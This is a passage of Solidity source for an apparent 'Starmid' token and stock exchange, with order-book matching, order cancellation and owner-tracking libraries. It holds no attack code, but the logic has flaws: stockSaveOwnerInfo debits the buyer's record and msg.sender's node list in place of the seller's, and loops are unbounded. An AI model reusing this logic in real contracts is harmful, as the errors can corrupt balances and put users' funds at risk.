self.nodes[_nodeID].producer = _newProducer; self.nodes[_nodeID].producersPercent = _newProducersPercent; self.nodes[_nodeID].starmidConfirmed = _starmidConfirmed; return true; } else { self.nodes[_nodeID].node = _nodeAddress; self.nodes[_nodeID].starmidConfirmed = _starmidConfirmed; return true; } } function addNodeAddress(Data storage self, uint _nodeID, address _nodeAddress) returns(bool _result, uint _id) { if (msg.sender == self.nodes[_nodeID].producer) { if (self.nodes[_nodeID].node == 0) { self.nodes[_nodeID].node = _nodeAddress; _id = self.addNodeAddressId += 1;//for event count _result = true; } else _result = false; } else _result = false; } //-----------------------------------------Starmid Exchange functions function stockMinSellPrice(StarCoinLibrary.Data storage self, uint _buyPrice, uint _node) constant returns (uint _minSellPrice) { _minSellPrice = _buyPrice + 1; for (uint i = 0; i < self.stockSellOrderPrices[_node].length; i++) { if(self.stockSellOrderPrices[_node][i] < _minSellPrice) _minSellPrice = self.stockSellOrderPrices[_node][i]; } } function stockMaxBuyPrice (StarCoinLibrary.Data storage self, uint _sellPrice, uint _node) constant returns (uint _maxBuyPrice) { _maxBuyPrice = _sellPrice - 1; for (uint i = 0; i < self.stockBuyOrderPrices[_node].length; i++) { if(self.stockBuyOrderPrices[_node][i] > _maxBuyPrice) _maxBuyPrice = self.stockBuyOrderPrices[_node][i]; } } function stockDeleteFirstOrder(StarCoinLibrary.Data storage self, uint _node, uint _price, bool _isStockSellOrders) { if (_isStockSellOrders == true) uint _length = self.stockSellOrders[_node][_price].length; else _length = self.stockBuyOrders[_node][_price].length; for (uint ii = 0; ii < _length - 1; ii++) { if (_isStockSellOrders == true) self.stockSellOrders[_node][_price][ii] = self.stockSellOrders[_node][_price][ii + 1]; else self.stockBuyOrders[_node][_price][ii] = self.stockBuyOrders[_node][_price][ii + 1]; } if (_isStockSellOrders == true) { delete self.stockSellOrders[_node][_price][self.stockSellOrders[_node][_price].length - 1]; self.stockSellOrders[_node][_price].length--; //Delete _price from stockSellOrderPrices[_node][] if it&#39;s the last order if (self.stockSellOrders[_node][_price].length == 0) { uint fromArg = 99999; for (uint8 iii = 0; iii < self.stockSellOrderPrices[_node].length - 1; iii++) { if (self.stockSellOrderPrices[_node][iii] == _price) { fromArg = iii; } if (fromArg != 99999 && iii >= fromArg) self.stockSellOrderPrices[_node][iii] = self.stockSellOrderPrices[_node][iii + 1]; } delete self.stockSellOrderPrices[_node][self.stockSellOrderPrices[_node].length-1]; self.stockSellOrderPrices[_node].length--; } } else { delete self.stockBuyOrders[_node][_price][self.stockBuyOrders[_node][_price].length - 1]; self.stockBuyOrders[_node][_price].length--; //Delete _price from stockBuyOrderPrices[_node][] if it&#39;s the last order if (self.stockBuyOrders[_node][_price].length == 0) { fromArg = 99999; for (iii = 0; iii < self.stockBuyOrderPrices[_node].length - 1; iii++) { if (self.stockBuyOrderPrices[_node][iii] == _price) { fromArg = iii; } if (fromArg != 99999 && iii >= fromArg) self.stockBuyOrderPrices[_node][iii] = self.stockBuyOrderPrices[_node][iii + 1]; } delete self.stockBuyOrderPrices[_node][self.stockBuyOrderPrices[_node].length-1]; self.stockBuyOrderPrices[_node].length--; } } } function stockSaveOwnerInfo(StarCoinLibrary.Data storage self, uint _node, uint _amount, address _buyer, address _seller, uint _price) { //--------------------------------------_buyer self.StockOwnersBuyPrice[_buyer][_node].sumPriceAmount += _amount*_price; self.StockOwnersBuyPrice[_buyer][_node].sumDateAmount += _amount*block.timestamp; self.StockOwnersBuyPrice[_buyer][_node].sumAmount += _amount; uint16 _thisNode = 0; for (uint16 i6 = 0; i6 < self.stockOwnerInfo[_buyer].nodes.length; i6++) { if (self.stockOwnerInfo[_buyer].nodes[i6] == _node) _thisNode = 1; } if (_thisNode == 0) self.stockOwnerInfo[_buyer].nodes.push(_node); //--------------------------------------_seller if(self.StockOwnersBuyPrice[_seller][_node].sumPriceAmount > 0) { self.StockOwnersBuyPrice[_seller][_node].sumPriceAmount -= _amount*_price; self.StockOwnersBuyPrice[_buyer][_node].sumDateAmount -= _amount*block.timestamp; self.StockOwnersBuyPrice[_buyer][_node].sumAmount -= _amount; } _thisNode = 0; for (i6 = 0; i6 < self.stockOwnerInfo[_seller].nodes.length; i6++) { if (self.stockOwnerInfo[_seller].nodes[i6] == _node) _thisNode = i6; } if (_thisNode > 0) { for (uint ii = _thisNode; ii < self.stockOwnerInfo[msg.sender].nodes.length - 1; ii++) { self.stockOwnerInfo[msg.sender].nodes[ii] = self.stockOwnerInfo[msg.sender].nodes[ii + 1]; } delete self.stockOwnerInfo[msg.sender].nodes[self.stockOwnerInfo[msg.sender].nodes.length - 1]; } } function deleteStockBuyOrder(StarCoinLibrary.Data storage self, uint _iii, uint _node, uint _price) { for (uint ii = _iii; ii < self.stockBuyOrders[_node][_price].length - 1; ii++) { self.stockBuyOrders[_node][_price][ii] = self.stockBuyOrders[_node][_price][ii + 1]; } delete self.stockBuyOrders[_node][_price][self.stockBuyOrders[_node][_price].length - 1]; self.stockBuyOrders[_node][_price].length--; //Delete _price from stockBuyOrderPrices[_node][] if it&#39;s the last order if (self.stockBuyOrders[_node][_price].length == 0) { uint _fromArg = 99999; for (_iii = 0; _iii < self.stockBuyOrderPrices[_node].length - 1; _iii++) { if (self.stockBuyOrderPrices[_node][_iii] == _price) { _fromArg = _iii; } if (_fromArg != 99999 && _iii >= _fromArg) self.stockBuyOrderPrices[_node][_iii] = self.stockBuyOrderPrices[_node][_iii + 1]; } delete self.stockBuyOrderPrices[_node][self.stockBuyOrderPrices[_node].length-1]; self.stockBuyOrderPrices[_node].length--; } } function deleteStockSellOrder(StarCoinLibrary.Data storage self, uint _iii, uint _node, uint _price) { for (uint ii = _iii; ii < self.stockSellOrders[_node][_price].length - 1; ii++) { self.stockSellOrders[_node][_price][ii] = self.stockSellOrders[_node][_price][ii + 1]; } delete self.stockSellOrders[_node][_price][self.stockSellOrders[_node][_price].length - 1]; self.stockSellOrders[_node][_price].length--; //Delete _price from stockSellOrderPrices[_node][] if it&#39;s the last order if (self.stockSellOrders[_node][_price].length == 0) { uint _fromArg = 99999; for (_iii = 0; _iii < self.stockSellOrderPrices[_node].length - 1; _iii++) { if (self.stockSellOrderPrices[_node][_iii] == _price) { _fromArg = _iii; } if (_fromArg != 99999 && _iii >= _fromArg) self.stockSellOrderPrices[_node][_iii] = self.stockSellOrderPrices[_node][_iii + 1]; } delete self.stockSellOrderPrices[_node][self.stockSellOrderPrices[_node].length-1]; self.stockSellOrderPrices[_node].length--; } } } library StarCoinLibrary { struct Data { uint256 lastMint; mapping (address => uint256) balanceOf; mapping (address => uint256) frozen; uint32 ordersId; mapping (uint256 => orderInfo[]) buyOrders; mapping (uint256 => orderInfo[]) sellOrders; mapping (address => mapping (uint => uint)) stockBalanceOf; mapping (address => mapping (uint => uint)) stockFrozen; mapping (uint => uint) emissionLimits; uint32 stockOrdersId; mapping (uint => emissionNodeInfo) emissions; mapping (uint => mapping (uint256 => stockOrderInfo[])) stockBuyOrders; mapping (uint => mapping (uint256 => stockOrderInfo[])) stockSellOrders; mapping (address => mapping (uint => uint)) lastDividends; mapping (address => mapping (uint => averageBuyPrice)) StockOwnersBuyPrice; mapping (address => ownerInfo) stockOwnerInfo; uint[] buyOrderPrices; uint[] sellOrderPrices; mapping (uint => uint[]) stockBuyOrderPrices; mapping (uint => uint[]) stockSellOrderPrices; mapping (address => uint) pendingWithdrawals; } struct orderInfo { uint date; address client; uint256 amount; uint256 price; bool isBuyer; uint orderId; } struct emissionNodeInfo { uint emissionNumber; uint date; } struct stockOrderInfo { uint date; address client; uint256 amount; uint256 price; bool isBuyer; uint orderId; uint node; } struct averageBuyPrice { uint sumPriceAmount; uint sumDateAmount; uint sumAmount; } struct ownerInfo { uint index; uint[] nodes; } event Transfer(address indexed from, address indexed to, uint256 value); event TradeHistory(uint date, address buyer, address seller, uint price, uint amount, uint orderId); function buyOrder(Data storage self, uint256 _buyPrice) returns (uint[4] _results) { uint _remainingValue = msg.value; uint256[4] memory it; if (minSellPrice(self, _buyPrice) != _buyPrice + 1) { it[3] = self.sellOrderPrices.length; for (it[1] = 0; it[1] < it[3]; it[1]++) { uint _minPrice = minSellPrice(self, _buyPrice); it[2] = self.sellOrders[_minPrice].length; for (it[0] = 0; it[0] < it[2]; it[0]++) { uint _amount = _remainingValue/_minPrice; if (_amount >= self.sellOrders[_minPrice][0].amount) { //buy starcoins for ether self.balanceOf[msg.sender] += self.sellOrders[_minPrice][0].amount;// adds the amount to buyer&#39;s balance self.frozen[self.sellOrders[_minPrice][0].client] -= self.sellOrders[_minPrice][0].amount;// subtracts the amount from seller&#39;s frozen balance Transfer(self.sellOrders[_minPrice][0].client, msg.sender, self.sellOrders[_minPrice][0].amount); //transfer ether to seller uint256 amountTransfer = _minPrice*self.sellOrders[_minPrice][0].amount; self.pendingWithdrawals[self.sellOrders[_minPrice][0].client] += amountTransfer; //save the transaction TradeHistory(block.timestamp, msg.sender, self.sellOrders[_minPrice][0].client, _minPrice, self.sellOrders[_minPrice][0].amount, self.sellOrders[_minPrice][0].orderId); _remainingValue -= amountTransfer; _results[0] += self.sellOrders[_minPrice][0].amount; //delete sellOrders[_minPrice][0] and move each element deleteFirstOrder(self, _minPrice, true); if (_remainingValue/_minPrice < 1) break; } else { //edit sellOrders[_minPrice][0] self.sellOrders[_minPrice][0].amount = self.sellOrders[_minPrice][0].amount - _amount; //buy starcoins for ether self.balanceOf[msg.sender] += _amount;// adds the _amount to buyer&#39;s balance self.frozen[self.sellOrders[_minPrice][0].client] -= _amount;// subtracts the _amount from seller&#39;s frozen balance Transfer(self.sellOrders[_minPrice][0].client, msg.sender, _amount); //save the transaction TradeHistory(block.timestamp, msg.sender, self.sellOrders[_minPrice][0].client, _minPrice, _amount, self.sellOrders[_minPrice][0].orderId); //transfer ether to seller uint256 amountTransfer1 = _amount*_minPrice; self.pendingWithdrawals[self.sellOrders[_minPrice][0].client] += amountTransfer1; _remainingValue -= amountTransfer1; _results[0] += _amount; if(_remainingValue/_minPrice < 1) { _results[3] = 1; break; } } } if (_remainingValue/_minPrice < 1) { _results[3] = 1; break; } } if(_remainingValue/_buyPrice < 1) self.pendingWithdrawals[msg.sender] += _remainingValue;//returns change to buyer } if (minSellPrice(self, _buyPrice) == _buyPrice + 1 && _remainingValue/_buyPrice >= 1) { //save new order _results[1] = _remainingValue/_buyPrice; if (_remainingValue - _results[1]*_buyPrice > 0) self.pendingWithdrawals[msg.sender] += _remainingValue - _results[1]*_buyPrice;//returns change to buyer self.ordersId += 1; _results[2] = self.ordersId; self.buyOrders[_buyPrice].push(orderInfo( block.timestamp, msg.sender, _results[1], _buyPrice, true, self.ordersId)); _results[3] = 1; //Add _buyPrice to buyOrderPrices[] it[0] = 99999; for (it[1] = 0; it[1] < self.buyOrderPrices.length; it[1]++) { if (self.buyOrderPrices[it[1]] == _buyPrice) it[0] = it[1]; } if (it[0] == 99999) self.buyOrderPrices.push(_buyPrice); } } function minSellPrice(Data storage self, uint _buyPrice) constant returns (uint _minSellPrice) { _minSellPrice = _buyPrice + 1; for (uint i = 0; i < self.sellOrderPrices.length; i++) { if(self.sellOrderPrices[i] < _minSellPrice) _minSellPrice = self.sellOrderPrices[i]; } } function sellOrder(Data storage self, uint256 _sellPrice, uint _amount) returns (uint[4] _results) { uint _remainingAmount = _amount; require(self.balanceOf[msg.sender] >= _amount); uint256[4] memory it; if (maxBuyPrice(self, _sellPrice) != _sellPrice - 1) { it[3] = self.buyOrderPrices.length; for (it[1] = 0; it[1] < it[3]; it[1]++) { uint _maxPrice = maxBuyPrice(self, _sellPrice); it[2] = self.buyOrders[_maxPrice].length; for (it[0] = 0; it[0] < it[2]; it[0]++) { if (_remainingAmount >= self.buyOrders[_maxPrice][0].amount) { //sell starcoins for ether self.balanceOf[msg.sender] -= self.buyOrders[_maxPrice][0].amount;// subtracts amount from seller&#39;s balance self.balanceOf[self.buyOrders[_maxPrice][0].client] += self.buyOrders[_maxPrice][0].amount;// adds the amount to buyer&#39;s balance Transfer(msg.sender, self.buyOrders[_maxPrice][0].client, self.buyOrders[_maxPrice][0].amount); //transfer ether to seller uint _amountTransfer = _maxPrice*self.buyOrders[_maxPrice][0].amount; self.pendingWithdrawals[msg.sender] += _amountTransfer; //save the transaction TradeHistory(block.timestamp, self.buyOrders[_maxPrice][0].client, msg.sender, _maxPrice, self.buyOrders[_maxPrice][0].amount, self.buyOrders[_maxPrice][0].orderId); _remainingAmount -= self.buyOrders[_maxPrice][0].amount; _results[0] += self.buyOrders[_maxPrice][0].amount; //delete buyOrders[_maxPrice][0] and move each element deleteFirstOrder(self, _maxPrice, false); if(_remainingAmount < 1) break; } else { //edit buyOrders[_maxPrice][0] self.buyOrders[_maxPrice][0].amount = self.buyOrders[_maxPrice][0].amount-_remainingAmount; //buy starcoins for ether self.balanceOf[msg.sender] -= _remainingAmount;// subtracts amount from seller&#39;s balance self.balanceOf[self.buyOrders[_maxPrice][0].client] += _remainingAmount;// adds the amount to buyer&#39;s balance Transfer(msg.sender, self.buyOrders[_maxPrice][0].client, _remainingAmount); //save the transaction TradeHistory(block.timestamp, self.buyOrders[_maxPrice][0].client, msg.sender, _maxPrice, _remainingAmount, self.buyOrders[_maxPrice][0].orderId); //transfer ether to seller uint256 amountTransfer1 = _maxPrice*_remainingAmount; self.pendingWithdrawals[msg.sender] += amountTransfer1; _results[0] += _remainingAmount; _remainingAmount = 0; break; } } if (_remainingAmount<1) { _results[3] = 1; break; } } } if (maxBuyPrice(self, _sellPrice) == _sellPrice - 1 && _remainingAmount >= 1) { //save new order _results[1] = _remainingAmount; self.ordersId += 1; _results[2] = self.ordersId; self.sellOrders[_sellPrice].push(orderInfo( block.timestamp, msg.sender, _results[1], _sellPrice, false, _results[2])); _results[3] = 1; //transfer starcoins to the frozen balance self.frozen[msg.sender] += _remainingAmount; self.balanceOf[msg.sender] -= _remainingAmount; //Add _sellPrice to sellOrderPrices[] it[0] = 99999; for (it[1] = 0; it[1] < self.sellOrderPrices.length; it[1]++) { if (self.sellOrderPrices[it[1]] == _sellPrice) it[0] = it[1]; } if (it[0] == 99999) self.sellOrderPrices.push(_sellPrice); } } function maxBuyPrice (Data storage self, uint _sellPrice) constant returns (uint _maxBuyPrice) { _maxBuyPrice = _sellPrice - 1; for (uint i = 0; i < self.buyOrderPrices.length; i++) { if(self.buyOrderPrices[i] > _maxBuyPrice) _maxBuyPrice = self.buyOrderPrices[i]; } } function deleteFirstOrder(Data storage self, uint _price, bool _isSellOrders) { if (_isSellOrders == true) uint _length = self.sellOrders[_price].length; else _length = self.buyOrders[_price].length; for (uint ii = 0; ii < _length - 1; ii++) { if (_isSellOrders == true) self.sellOrders[_price][ii] = self.sellOrders[_price][ii + 1]; else self.buyOrders[_price][ii] = self.buyOrders[_price][ii+1]; } if (_isSellOrders == true) { delete self.sellOrders[_price][self.sellOrders[_price].length - 1]; self.sellOrders[_price].length--; //Delete _price from sellOrderPrices[] if it&#39;s the last order if (_length == 1) { uint _fromArg = 99999; for (uint8 iii = 0; iii < self.sellOrderPrices.length - 1; iii++) { if (self.sellOrderPrices[iii] == _price) { _fromArg = iii; } if (_fromArg != 99999 && iii >= _fromArg) self.sellOrderPrices[iii] = self.sellOrderPrices[iii + 1]; } delete self.sellOrderPrices[self.sellOrderPrices.length-1]; self.sellOrderPrices.length--; } } else { delete self.buyOrders[_price][self.buyOrders[_price].length - 1]; self.buyOrders[_price].length--; //Delete _price from buyOrderPrices[] if it&#39;s the last order if (_length == 1) { _fromArg = 99999; for (iii = 0; iii < self.buyOrderPrices.length - 1; iii++) { if (self.buyOrderPrices[iii] == _price) { _fromArg = iii; } if (_fromArg != 99999 && iii >= _fromArg) self.buyOrderPrices[iii] = self.buyOrderPrices[iii + 1]; } delete self.buyOrderPrices[self.buyOrderPrices.length-1]; self.buyOrderPrices.length--; } } } function cancelBuyOrder(Data storage self, uint _thisOrderID, uint _price) public returns(bool) { for (uint8 iii = 0; iii < self.buyOrders[_price].length; iii++) { if (self.buyOrders[_price][iii].orderId == _thisOrderID) { //delete buyOrders[_price][iii] and move each element require(msg.sender == self.buyOrders[_price][iii].client); uint _remainingValue = self.buyOrders[_price][iii].price*self.buyOrders[_price][iii].amount; for (uint ii = iii; ii < self.buyOrders[_price].length - 1; ii++) { self.buyOrders[_price][ii] = self.buyOrders[_price][ii + 1]; } delete self.buyOrders[_price][self.buyOrders[_price].length - 1]; self.buyOrders[_price].length--; self.pendingWithdrawals[msg.sender] += _remainingValue;//returns ether to buyer break; } } //Delete _price from buyOrderPrices[] if it&#39;s the last order if (self.buyOrders[_price].length == 0) { uint _fromArg = 99999; for (uint8 iiii = 0; iiii < self.buyOrderPrices.length - 1; iiii++) { if (self.buyOrderPrices[iiii] == _price) { _fromArg = iiii; } if (_fromArg != 99999 && iiii >= _fromArg) self.buyOrderPrices[iiii] = self.buyOrderPrices[iiii + 1]; } delete self.buyOrderPrices[self.buyOrderPrices.length-1]; self.buyOrderPrices.length--; } return true; } function cancelSellOrder(Data storage self, uint _thisOrderID, uint _price) public returns(bool) { for (uint8 iii = 0; iii < self.sellOrders[_price].length; iii++) { if (self.sellOrders[_price][iii].orderId == _thisOrderID) { require(msg.sender == self.sellOrders[_price][iii].client); //return starcoins from the frozen balance to seller self.frozen[msg.sender] -= self.sellOrders[_price][iii].amount; self.balanceOf[msg.sender] += self.sellOrders[_price][iii].amount; //delete sellOrders[_price][iii] and move each element for (uint ii = iii; ii < self.sellOrders[_price].length - 1; ii++) { self.sellOrders[_price][ii] = self.sellOrders[_price][ii + 1]; } delete self.sellOrders[_price][self.sellOrders[_price].length - 1]; self.sellOrders[_price].length--; break; } } //Delete _price from sellOrderPrices[] if it&#39;s the last order if (self.sellOrders[_price].length == 0) { uint _fromArg = 99999; for (uint8 iiii = 0; iiii < self.sellOrderPrices.length - 1; iiii++) { if (self.sellOrderPrices[iiii] == _price) { _fromArg = iiii; } if (_fromArg != 99999 && iiii >= _fromArg) self.sellOrderPrices[iiii] = self.sellOrderPrices[iiii + 1]; } delete self.sellOrderPrices[self.sellOrderPrices.length-1]; self.sellOrderPrices.length--; } return true; } } library StarmidLibrary { event Transfer(address indexed from, address indexed to, uint256 value); event StockTransfer(address indexed from, address indexed to, uint indexed node, uint256 value); event StockTradeHistory(uint node, uint date, address buyer, address seller, uint price, uint amount, uint orderId); function stockBuyOrder(StarCoinLibrary.Data storage self, uint _node, uint256 _buyPrice, uint _amount) public returns (uint[4] _results) { require(self.balanceOf[msg.sender] >= _buyPrice*_amount); uint256[4] memory it; if (CommonLibrary.stockMinSellPrice(self, _buyPrice, _node) != _buyPrice + 1) { it[3] = self.stockSellOrderPrices[_node].length; for (it[1] = 0; it[1] < it[3]; it[1]++) { uint minPrice = CommonLibrary.stockMinSellPrice(self, _buyPrice, _node); it[2] = self.stockSellOrders[_node][minPrice].length; for (it[0] = 0; it[0] < it[2]; it[0]++) { if (_amount >= self.stockSellOrders[_node][minPrice][0].amount) { //buy stocks for starcoins self.stockBalanceOf[msg.sender][_node] += self.stockSellOrders[_node][minPrice][0].amount;// add the amount to buyer&#39;s balance self.stockFrozen[self.stockSellOrders[_node][minPrice][0].client][_node] -= self.stockSellOrders[_node][minPrice][0].amount;// subtracts amount from seller&#39;s frozen stock balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, self.stockSellOrders[_node][minPrice][0].amount, msg.sender, self.stockSellOrders[_node][minPrice][0].client, minPrice); //transfer starcoins to seller self.balanceOf[msg.sender] -= self.stockSellOrders[_node][minPrice][0].amount*minPrice;// subtracts amount from buyer&#39;s balance self.balanceOf[self.stockSellOrders[_node][minPrice][0].client] += self.stockSellOrders[_node][minPrice][0].amount*minPrice;// adds the amount to seller&#39;s balance Transfer(self.stockSellOrders[_node][minPrice][0].client, msg.sender, self.stockSellOrders[_node][minPrice][0].amount*minPrice); //save the transaction into event StocksTradeHistory; StockTradeHistory(_node, block.timestamp, msg.sender, self.stockSellOrders[_node][minPrice][0].client, minPrice, self.stockSellOrders[_node][minPrice][0].amount, self.stockSellOrders[_node][minPrice][0].orderId); _amount -= self.stockSellOrders[_node][minPrice][0].amount; _results[0] += self.stockSellOrders[_node][minPrice][0].amount; //delete stockSellOrders[_node][minPrice][0] and move each element CommonLibrary.stockDeleteFirstOrder(self, _node, minPrice, true); if (_amount<1) break; } else { //edit stockSellOrders[_node][minPrice][0] self.stockSellOrders[_node][minPrice][0].amount -= _amount; //buy stocks for starcoins self.stockBalanceOf[msg.sender][_node] += _amount;// adds the _amount to buyer&#39;s balance self.stockFrozen[self.stockSellOrders[_node][minPrice][0].client][_node] -= _amount;// subtracts _amount from seller&#39;s frozen stock balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, _amount, msg.sender, self.stockSellOrders[_node][minPrice][0].client, minPrice); //transfer starcoins to seller self.balanceOf[msg.sender] -= _amount*minPrice;// subtracts _amount from buyer&#39;s balance self.balanceOf[self.stockSellOrders[_node][minPrice][0].client] += _amount*minPrice;// adds the amount to seller&#39;s balance Transfer(self.stockSellOrders[_node][minPrice][0].client, msg.sender, _amount*minPrice); //save the transaction into event StocksTradeHistory; StockTradeHistory(_node, block.timestamp, msg.sender, self.stockSellOrders[_node][minPrice][0].client, minPrice, _amount, self.stockSellOrders[_node][minPrice][0].orderId); _results[0] += _amount; _amount = 0; break; } } if(_amount < 1) { _results[3] = 1; break; } } } if (CommonLibrary.stockMinSellPrice(self, _buyPrice, _node) == _buyPrice + 1 && _amount >= 1) { //save new order _results[1] = _amount; self.stockOrdersId += 1; _results[2] = self.stockOrdersId; self.stockBuyOrders[_node][_buyPrice].push(StarCoinLibrary.stockOrderInfo(block.timestamp, msg.sender, _results[1], _buyPrice, true, self.stockOrdersId, _node)); _results[3] = 1; //transfer starcoins to the frozen balance self.frozen[msg.sender] += _amount*_buyPrice; self.balanceOf[msg.sender] -= _amount*_buyPrice; //Add _buyPrice to stockBuyOrderPrices[_node][] it[0] = 99999; for (it[1] = 0; it[1] < self.stockBuyOrderPrices[_node].length; it[1]++) { if (self.stockBuyOrderPrices[_node][it[1]] == _buyPrice) it[0] = it[1]; } if (it[0] == 99999) self.stockBuyOrderPrices[_node].push(_buyPrice); } } function stockSellOrder(StarCoinLibrary.Data storage self, uint _node, uint _sellPrice, uint _amount) returns (uint[4] _results) { require(self.stockBalanceOf[msg.sender][_node] >= _amount); uint[4] memory it; if (CommonLibrary.stockMaxBuyPrice(self, _sellPrice, _node) != _sellPrice - 1) { it[3] = self.stockBuyOrderPrices[_node].length; for (it[1] = 0; it[1] < it[3]; it[1]++) { uint _maxPrice = CommonLibrary.stockMaxBuyPrice(self, _sellPrice, _node); it[2] = self.stockBuyOrders[_node][_maxPrice].length; for (it[0] = 0; it[0] < it[2]; it[0]++) { if (_amount >= self.stockBuyOrders[_node][_maxPrice][0].amount) { //sell stocks for starcoins self.stockBalanceOf[msg.sender][_node] -= self.stockBuyOrders[_node][_maxPrice][0].amount;// subtracts the _amount from seller&#39;s balance self.stockBalanceOf[self.stockBuyOrders[_node][_maxPrice][0].client][_node] += self.stockBuyOrders[_node][_maxPrice][0].amount;// adds the _amount to buyer&#39;s balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, self.stockBuyOrders[_node][_maxPrice][0].amount, self.stockBuyOrders[_node][_maxPrice][0].client, msg.sender, _maxPrice); //transfer starcoins to seller self.balanceOf[msg.sender] += self.stockBuyOrders[_node][_maxPrice][0].amount*_maxPrice;// adds the amount to buyer&#39;s balance self.frozen[self.stockBuyOrders[_node][_maxPrice][0].client] -= self.stockBuyOrders[_node][_maxPrice][0].amount*_maxPrice;// subtracts amount from seller&#39;s frozen balance Transfer(self.stockBuyOrders[_node][_maxPrice][0].client, msg.sender, self.stockBuyOrders[_node][_maxPrice][0].amount*_maxPrice); //save the transaction StockTradeHistory(_node, block.timestamp, self.stockBuyOrders[_node][_maxPrice][0].client, msg.sender, _maxPrice, self.stockBuyOrders[_node][_maxPrice][0].amount, self.stockBuyOrders[_node][_maxPrice][0].orderId); _amount -= self.stockBuyOrders[_node][_maxPrice][0].amount; _results[0] += self.stockBuyOrders[_node][_maxPrice][0].amount; //delete stockBuyOrders[_node][_maxPrice][0] and move each element CommonLibrary.stockDeleteFirstOrder(self, _node, _maxPrice, false); if(_amount < 1) break; } else { //edit stockBuyOrders[_node][_maxPrice][0] self.stockBuyOrders[_node][_maxPrice][0].amount -= _amount; //sell stocks for starcoins self.stockBalanceOf[msg.sender][_node] -= _amount;// subtracts _amount from seller&#39;s balance self.stockBalanceOf[self.stockBuyOrders[_node][_maxPrice][0].client][_node] += _amount;// adds the _amount to buyer&#39;s balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, _amount, self.stockBuyOrders[_node][_maxPrice][0].client, msg.sender, _maxPrice); //transfer starcoins to seller self.balanceOf[msg.sender] += _amount*_maxPrice;// adds the _amount to buyer&#39;s balance self.frozen[self.stockBuyOrders[_node][_maxPrice][0].client] -= _amount*_maxPrice;// subtracts _amount from seller&#39;s frozen balance Transfer(self.stockBuyOrders[_node][_maxPrice][0].client, msg.sender, _amount*_maxPrice); //save the transaction StockTradeHistory(_node, block.timestamp, self.stockBuyOrders[_node][_maxPrice][0].client, msg.sender, _maxPrice, _amount, self.stockBuyOrders[_node][_maxPrice][0].orderId); _results[0] += _amount; _amount = 0; break; } } if (_amount < 1) { _results[3] = 1; break; } } } if (CommonLibrary.stockMaxBuyPrice(self, _sellPrice, _node) == _sellPrice - 1 && _amount >= 1) { //save new order _results[1] = _amount; self.stockOrdersId += 1; _results[2] = self.stockOrdersId; self.stockSellOrders[_node][_sellPrice].push(StarCoinLibrary.stockOrderInfo(block.timestamp, msg.sender, _results[1], _sellPrice, false, self.stockOrdersId, _node)); _results[3] = 1; //transfer stocks to the frozen stock balance self.stockFrozen[msg.sender][_node] += _amount; self.stockBalanceOf[msg.sender][_node] -= _amount; //Add _sellPrice to stockSellOrderPrices[_node][] it[0] = 99999; for (it[1] = 0; it[1] < self.stockSellOrderPrices[_node].length; it[1]++) { if (self.stockSellOrderPrices[_node][it[1]] == _sellPrice) it[0] = it[1]; } if (it[0] == 99999) self.stockSellOrderPrices[_node].push(_sellPrice); } } function stockCancelBuyOrder(StarCoinLibrary.Data storage self, uint _node, uint _thisOrderID, uint _price) public returns(bool) { for (uint iii = 0; iii < self.stockBuyOrders[_node][_price].length; iii++) { if (self.stockBuyOrders[_node][_price][iii].orderId == _thisOrderID) { require(msg.sender == self.stockBuyOrders[_node][_price][iii].client); //return starcoins from the buyer`s frozen balance self.frozen[msg.sender] -= self.stockBuyOrders[_node][_price][iii].amount*_price; self.balanceOf[msg.sender] += self.stockBuyOrders[_node][_price][iii].amount*_price; //delete stockBuyOrders[_node][_price][iii] and move each element for (uint ii = iii; ii < self.stockBuyOrders[_node][_price].length - 1; ii++) { self.stockBuyOrders[_node][_price][ii] = self.stockBuyOrders[_node][_price][ii + 1]; } delete self.stockBuyOrders[_node][_price][self.stockBuyOrders[_node][_price].length - 1]; self.stockBuyOrders[_node][_price].length--; break; } } //Delete _price from stockBuyOrderPrices[_node][] if it&#39;s the last order if (self.stockBuyOrders[_node][_price].length == 0) { uint _fromArg = 99999; for (iii = 0; iii < self.stockBuyOrderPrices[_node].length - 1; iii++) { if (self.stockBuyOrderPrices[_node][iii] == _price) { _fromArg = iii; } if (_fromArg != 99999 && iii >= _fromArg) self.stockBuyOrderPrices[_node][iii] = self.stockBuyOrderPrices[_node][iii + 1]; } delete self.stockBuyOrderPrices[_node][self.stockBuyOrderPrices[_node].length-1]; self.stockBuyOrderPrices[_node].length--; } return true; } function stockCancelSellOrder(StarCoinLibrary.Data storage self, uint _node, uint _thisOrderID, uint _price) public returns(bool) { for (uint iii = 0; iii < self.stockSellOrders[_node][_price].length; iii++) { if (self.stockSellOrders[_node][_price][iii].orderId == _thisOrderID) { require(msg.sender == self.stockSellOrders[_node][_price][iii].client); //return stocks from the seller`s frozen stock balance self.stockFrozen[msg.sender][_node] -= self.stockSellOrders[_node][_price][iii].amount; self.stockBalanceOf[msg.sender][_node] += self.stockSellOrders[_node][_price][iii].amount; //delete stockSellOrders[_node][_price][iii] and move each element for (uint ii = iii; ii < self.stockSellOrders[_node][_price].length - 1; ii++) { self.stockSellOrders[_node][_price][ii] = self.stockSellOrders[_node][_price][ii + 1]; } delete self.stockSellOrders[_node][_price][self.stockSellOrders[_node][_price].length - 1]; self.stockSellOrders[_node][_price].length--; break; } } //Delete _price from stockSellOrderPrices[_node][] if it&#39;s the last order if (self.stockSellOrders[_node][_price].length == 0) { uint _fromArg = 99999; for (iii = 0; iii < self.stockSellOrderPrices[_node].length - 1; iii++) { if (self.stockSellOrderPrices[_node][iii] == _price) { _fromArg = iii; } if (_fromArg != 99999 && iii >= _fromArg) self.stockSellOrderPrices[_node][iii] = self.stockSellOrderPrices[_node][iii + 1]; } delete self.stockSellOrderPrices[_node][self.stockSellOrderPrices[_node].length-1]; self.stockSellOrderPrices[_node].length--; } return true; } } library StarmidLibraryExtra { event Transfer(address indexed from, address indexed to, uint256 value); event StockTransfer(address indexed from, address indexed to, uint indexed node, uint256 value); event StockTradeHistory(uint node, uint date, address buyer, address seller, uint price, uint amount, uint orderId); event TradeHistory(uint date, address buyer, address seller, uint price, uint amount, uint orderId); function buyCertainOrder(StarCoinLibrary.Data storage self, uint _price, uint _thisOrderID) returns (bool) { uint _remainingValue = msg.value; for (uint8 iii = 0; iii < self.sellOrders[_price].length; iii++) { if (self.sellOrders[_price][iii].orderId == _thisOrderID) { uint _amount = _remainingValue/_price; 